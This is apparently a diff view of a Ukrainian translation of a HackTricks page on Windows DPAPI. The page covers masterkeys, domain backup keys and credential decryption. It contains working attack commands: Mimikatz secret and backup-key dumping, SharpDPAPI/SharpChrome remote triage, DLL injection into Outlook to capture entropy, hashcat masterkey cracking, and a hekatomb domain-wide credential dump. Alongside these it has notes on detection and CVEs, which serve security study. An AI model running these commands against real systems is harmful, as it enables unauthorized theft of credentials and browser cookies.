Більше того, ці функції також приймають параметр **`entropy`**, який також буде використовуватися під час шифрування та дешифрування, тому, щоб дешифрувати щось, зашифроване з використанням цього параметра, ви повинні надати таке ж значення ентропії, яке використовувалося під час шифрування.
|
Більше того, ці функції також приймають параметр **`entropy`**, який також буде використовуватися під час шифрування та дешифрування, тому, щоб дешифрувати щось, зашифроване з використанням цього параметра, ви повинні надати те ж значення ентропії, яке використовувалося під час шифрування.
|
||||||
|
|
||||||
### Генерація ключа користувача
|
### Генерація ключів користувачів
|
||||||
|
|
||||||
DPAPI генерує унікальний ключ (називається **`pre-key`**) для кожного користувача на основі їхніх облікових даних. Цей ключ отримується з пароля користувача та інших факторів, а алгоритм залежить від типу користувача, але в кінцевому підсумку є SHA1. Наприклад, для доменних користувачів **він залежить від HTLM хешу користувача**.
|
DPAPI генерує унікальний ключ (називається **`pre-key`**) для кожного користувача на основі їхніх облікових даних. Цей ключ отримується з пароля користувача та інших факторів, а алгоритм залежить від типу користувача, але в кінцевому підсумку є SHA1. Наприклад, для доменних користувачів **він залежить від HTLM хешу користувача**.
|
||||||
|
|
||||||
@ -23,7 +23,7 @@ DPAPI генерує унікальний ключ (називається **`pr
|
|||||||
|
|
||||||
Більше того, щоразу, коли користувач шифрує дані за допомогою DPAPI, генерується новий **майстер-ключ**. Цей майстер-ключ фактично використовується для шифрування даних. Кожен майстер-ключ надається з **GUID** (глобально унікальний ідентифікатор), який його ідентифікує.
|
Більше того, щоразу, коли користувач шифрує дані за допомогою DPAPI, генерується новий **майстер-ключ**. Цей майстер-ключ фактично використовується для шифрування даних. Кожен майстер-ключ надається з **GUID** (глобально унікальний ідентифікатор), який його ідентифікує.
|
||||||
|
|
||||||
Майстер-ключі зберігаються в каталозі **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, де `{SID}` - це ідентифікатор безпеки цього користувача. Майстер-ключ зберігається зашифрованим за допомогою **`pre-key`** користувача, а також за допомогою **доменного резервного ключа** для відновлення (так що той самий ключ зберігається зашифрованим 2 рази 2 різними паролями).
|
Майстер-ключі зберігаються в каталозі **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, де `{SID}` - це ідентифікатор безпеки цього користувача. Майстер-ключ зберігається зашифрованим за допомогою **`pre-key`** користувача, а також за допомогою **доменного резервного ключа** для відновлення (так що той же ключ зберігається зашифрованим 2 рази 2 різними паролями).
|
||||||
|
|
||||||
Зверніть увагу, що **доменний ключ, використаний для шифрування майстер-ключа, знаходиться на контролерах домену і ніколи не змінюється**, тому, якщо зловмисник має доступ до контролера домену, він може отримати доменний резервний ключ і дешифрувати майстер-ключі всіх користувачів у домені.
|
Зверніть увагу, що **доменний ключ, використаний для шифрування майстер-ключа, знаходиться на контролерах домену і ніколи не змінюється**, тому, якщо зловмисник має доступ до контролера домену, він може отримати доменний резервний ключ і дешифрувати майстер-ключі всіх користувачів у домені.
|
||||||
|
|
||||||
@ -41,18 +41,18 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
|
|||||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
||||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||||||
```
|
```
|
||||||
Це те, як виглядає кілька Майстер-ключів користувача:
|
Це те, як виглядає кілька Master Keys користувача:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Генерація ключа машини/системи
|
### Генерація ключів машини/системи
|
||||||
|
|
||||||
Це ключ, який використовується для шифрування даних на машині. Він базується на **DPAPI_SYSTEM LSA secret**, який є спеціальним ключем, до якого може отримати доступ лише користувач SYSTEM. Цей ключ використовується для шифрування даних, які повинні бути доступні самій системі, таких як облікові дані на рівні машини або системні секрети.
|
Це ключ, який використовується для шифрування даних на машині. Він базується на **DPAPI_SYSTEM LSA secret**, який є спеціальним ключем, до якого може отримати доступ лише користувач SYSTEM. Цей ключ використовується для шифрування даних, які повинні бути доступні самій системі, таких як облікові дані на рівні машини або системні секрети.
|
||||||
|
|
||||||
Зверніть увагу, що ці ключі **не мають резервної копії домену**, тому вони доступні лише локально:
|
Зверніть увагу, що ці ключі **не мають резервної копії домену**, тому вони доступні лише локально:
|
||||||
|
|
||||||
- **Mimikatz** може отримати доступ до нього, вивантажуючи LSA секрети за допомогою команди: `mimikatz lsadump::secrets`
|
- **Mimikatz** може отримати доступ до нього, вивантажуючи LSA секрети за допомогою команди: `mimikatz lsadump::secrets`
|
||||||
- Секрет зберігається в реєстрі, тому адміністратор може **змінити дозволи DACL для доступу до нього**. Шлях реєстру: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
- Секрет зберігається в реєстрі, тому адміністратор може **змінити DACL дозволи для доступу до нього**. Шлях до реєстру: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||||
|
|
||||||
### Захищені дані за допомогою DPAPI
|
### Захищені дані за допомогою DPAPI
|
||||||
|
|
||||||
@ -74,7 +74,7 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
|||||||
|
|
||||||
### Варіанти витягування майстер-ключів
|
### Варіанти витягування майстер-ключів
|
||||||
|
|
||||||
- Якщо користувач має привілеї адміністратора домену, він може отримати доступ до **доменного резервного ключа** для розшифровки всіх майстер-ключів користувачів у домені:
|
- Якщо користувач має привілеї адміністратора домену, він може отримати доступ до **доменного резервного ключа** для розшифрування всіх майстер-ключів користувачів у домені:
|
||||||
```bash
|
```bash
|
||||||
# Mimikatz
|
# Mimikatz
|
||||||
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||||||
@ -172,9 +172,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
|
|||||||
pbData : b8f619[...snip...]b493fe
|
pbData : b8f619[...snip...]b493fe
|
||||||
[..]
|
[..]
|
||||||
```
|
```
|
||||||
- **Отримати masterkeys**:
|
- **Отримання masterkeys**:
|
||||||
|
|
||||||
Розшифрувати masterkey користувача, запитуючи **ключ резервної копії домену** за допомогою RPC:
|
Розшифруйте masterkey користувача, запитуючи **ключ резервної копії домену** за допомогою RPC:
|
||||||
```bash
|
```bash
|
||||||
# Mimikatz
|
# Mimikatz
|
||||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||||
@ -232,9 +232,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
|||||||
---
|
---
|
||||||
### Обробка необов'язкової ентропії ("Ентропія третіх сторін")
|
### Обробка необов'язкової ентропії ("Ентропія третіх сторін")
|
||||||
|
|
||||||
Деякі програми передають додаткове значення **ентропії** до `CryptProtectData`. Без цього значення блоб не може бути розшифрований, навіть якщо відомий правильний майстер-ключ. Отримання ентропії є, отже, суттєвим при націлюванні на облікові дані, захищені таким чином (наприклад, Microsoft Outlook, деякі VPN-клієнти).
|
Деякі програми передають додаткове **значення ентропії** до `CryptProtectData`. Без цього значення блоб не може бути розшифрований, навіть якщо відомий правильний майстер-ключ. Отримання ентропії є, отже, суттєвим при націлюванні на облікові дані, захищені таким чином (наприклад, Microsoft Outlook, деякі VPN-клієнти).
|
||||||
|
|
||||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) - це DLL у режимі користувача, яка перехоплює функції DPAPI всередині цільового процесу та прозоро записує будь-яку необов'язкову ентропію, яка надається. Запуск EntropyCapture у режимі **DLL-впровадження** проти процесів, таких як `outlook.exe` або `vpnclient.exe`, виведе файл, що відображає кожен буфер ентропії на викликаючий процес і блоб. Захоплена ентропія може бути пізніше надана **SharpDPAPI** (`/entropy:`) або **Mimikatz** (`/entropy:<file>`) для розшифровки даних. citeturn5search0
|
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) - це DLL у режимі користувача, яка перехоплює функції DPAPI всередині цільового процесу та прозоро записує будь-яку необов'язкову ентропію, яка надається. Запуск EntropyCapture у режимі **DLL-впровадження** проти процесів, таких як `outlook.exe` або `vpnclient.exe`, виведе файл, що відображає кожен буфер ентропії на викликаючий процес і блоб. Захоплена ентропія може бути пізніше надана **SharpDPAPI** (`/entropy:`) або **Mimikatz** (`/entropy:<file>`) для розшифровки даних.
|
||||||
```powershell
|
```powershell
|
||||||
# Inject EntropyCapture into the current user's Outlook
|
# Inject EntropyCapture into the current user's Outlook
|
||||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||||
@ -242,9 +242,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
|||||||
# Later decrypt a credential blob that required entropy
|
# Later decrypt a credential blob that required entropy
|
||||||
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||||
```
|
```
|
||||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
### Злом майстер-ключів офлайн (Hashcat & DPAPISnoop)
|
||||||
|
|
||||||
Microsoft представила формат майстер-ключа **context 3** починаючи з Windows 10 v1607 (2016). `hashcat` v6.2.6 (грудень 2023) додав хеш-режими **22100** (DPAPI masterkey v1 context), **22101** (context 1) та **22102** (context 3), що дозволяє прискорене за допомогою GPU зламування паролів користувачів безпосередньо з файлу майстер-ключа. Таким чином, зловмисники можуть виконувати атаки зі списком слів або брутфорс-атаки без взаємодії з цільовою системою. citeturn8search1
|
Microsoft представила формат майстер-ключа **context 3** починаючи з Windows 10 v1607 (2016). `hashcat` v6.2.6 (грудень 2023) додав хеш-режими **22100** (DPAPI майстер-ключ v1 контекст), **22101** (контекст 1) та **22102** (контекст 3), що дозволяє прискорене за допомогою GPU зламування паролів користувачів безпосередньо з файлу майстер-ключа. Таким чином, зловмисники можуть виконувати атаки зі списком слів або брутфорс-атаки без взаємодії з цільовою системою.
|
||||||
|
|
||||||
`DPAPISnoop` (2024) автоматизує процес:
|
`DPAPISnoop` (2024) автоматизує процес:
|
||||||
```bash
|
```bash
|
||||||
@ -256,7 +256,7 @@ hashcat -m 22102 bob.hc wordlist.txt -O -w4
|
|||||||
|
|
||||||
### Доступ до даних інших машин
|
### Доступ до даних інших машин
|
||||||
|
|
||||||
У **SharpDPAPI та SharpChrome** ви можете вказати опцію **`/server:HOST`** для доступу до даних віддаленої машини. Звичайно, вам потрібно мати можливість отримати доступ до цієї машини, і в наступному прикладі передбачається, що **ключ шифрування резервної копії домену відомий**:
|
У **SharpDPAPI та SharpChrome** ви можете вказати опцію **`/server:HOST`** для доступу до даних віддаленої машини. Звичайно, вам потрібно мати доступ до цієї машини, і в наступному прикладі передбачається, що **ключ шифрування резервної копії домену відомий**:
|
||||||
```bash
|
```bash
|
||||||
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
|
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
|
||||||
SharpChrome cookies /server:HOST /pvk:BASE64
|
SharpChrome cookies /server:HOST /pvk:BASE64
|
||||||
@ -269,7 +269,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
|||||||
|
|
||||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||||
|
|
||||||
З витягнутим списком комп'ютерів з LDAP ви можете знайти кожну підмережу, навіть якщо ви їх не знали!
|
З витягнутим зі списку LDAP комп'ютерів ви можете знайти кожну підмережу, навіть якщо ви їх не знали!
|
||||||
|
|
||||||
### DonPAPI 2.x (2024-05)
|
### DonPAPI 2.x (2024-05)
|
||||||
|
|
||||||
@ -278,12 +278,11 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
|||||||
* Паралельне збирання блобів з сотень хостів
|
* Паралельне збирання блобів з сотень хостів
|
||||||
* Парсинг **context 3** майстер-ключів та автоматичну інтеграцію з Hashcat
|
* Парсинг **context 3** майстер-ключів та автоматичну інтеграцію з Hashcat
|
||||||
* Підтримка зашифрованих куків Chrome "App-Bound" (див. наступний розділ)
|
* Підтримка зашифрованих куків Chrome "App-Bound" (див. наступний розділ)
|
||||||
* Новий **`--snapshot`** режим для повторного опитування кінцевих точок і порівняння новостворених блобів citeturn1search2
|
* Новий режим **`--snapshot`**, щоб повторно опитувати кінцеві точки та порівнювати новостворені блоби
|
||||||
|
|
||||||
### DPAPISnoop
|
### DPAPISnoop
|
||||||
|
|
||||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) - це C# парсер для файлів майстер-ключів/облікових даних/сховищ, який може виводити формати Hashcat/JtR і за бажанням автоматично викликати злом. Він повністю підтримує формати майстер-ключів для машин і користувачів до Windows 11 24H1. citeturn2search0
|
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) - це парсер C# для файлів майстер-ключів/облікових даних/сховищ, який може виводити формати Hashcat/JtR і за бажанням автоматично викликати злом. Він повністю підтримує формати майстер-ключів для машин і користувачів до Windows 11 24H1.
|
||||||
|
|
||||||
|
|
||||||
## Загальні виявлення
|
## Загальні виявлення
|
||||||
|
|
||||||
@ -296,19 +295,18 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
|||||||
---
|
---
|
||||||
### Уразливості 2023-2025 та зміни в екосистемі
|
### Уразливості 2023-2025 та зміни в екосистемі
|
||||||
|
|
||||||
* **CVE-2023-36004 – Спуфінг захищеного каналу Windows DPAPI** (листопад 2023). Зловмисник з доступом до мережі міг обманути учасника домену, щоб той отримав шкідливий резервний ключ DPAPI, що дозволяло розшифровувати майстер-ключі користувачів. Виправлено в листопаді 2023 року в кумулятивному оновленні – адміністраторам слід переконатися, що контролери домену та робочі станції повністю оновлені. citeturn4search0
|
* **CVE-2023-36004 – Спуфінг захищеного каналу Windows DPAPI** (листопад 2023). Зловмисник з доступом до мережі міг обманути учасника домену, щоб той отримав шкідливий резервний ключ DPAPI, що дозволяє розшифрувати майстер-ключі користувачів. Виправлено в накопичувальному оновленні листопада 2023 року – адміністраторам слід переконатися, що контролери домену та робочі станції повністю оновлені.
|
||||||
* **Шифрування куків Chrome 127 “App-Bound”** (липень 2024) замінило застарілу захист лише DPAPI додатковим ключем, збереженим у **Credential Manager** користувача. Офлайн-розшифрування куків тепер вимагає як майстер-ключ DPAPI, так і **GCM-обгорнутий ключ, прив'язаний до програми**. SharpChrome v2.3 та DonPAPI 2.x можуть відновити додатковий ключ, працюючи в контексті користувача. citeturn0search0
|
* **Шифрування куків Chrome 127 “App-Bound”** (липень 2024) замінило застарілу захист лише DPAPI додатковим ключем, збереженим у **Credential Manager** користувача. Офлайн-розшифрування куків тепер вимагає як майстер-ключ DPAPI, так і **GCM-обгорнутий ключ, прив'язаний до програми**. SharpChrome v2.3 та DonPAPI 2.x можуть відновити додатковий ключ, працюючи в контексті користувача.
|
||||||
|
|
||||||
|
|
||||||
## Посилання
|
## Посилання
|
||||||
|
|
||||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||||
- https://github.com/Leftp/DPAPISnoop
|
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||||
- https://pypi.org/project/donpapi/2.0.0/
|
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user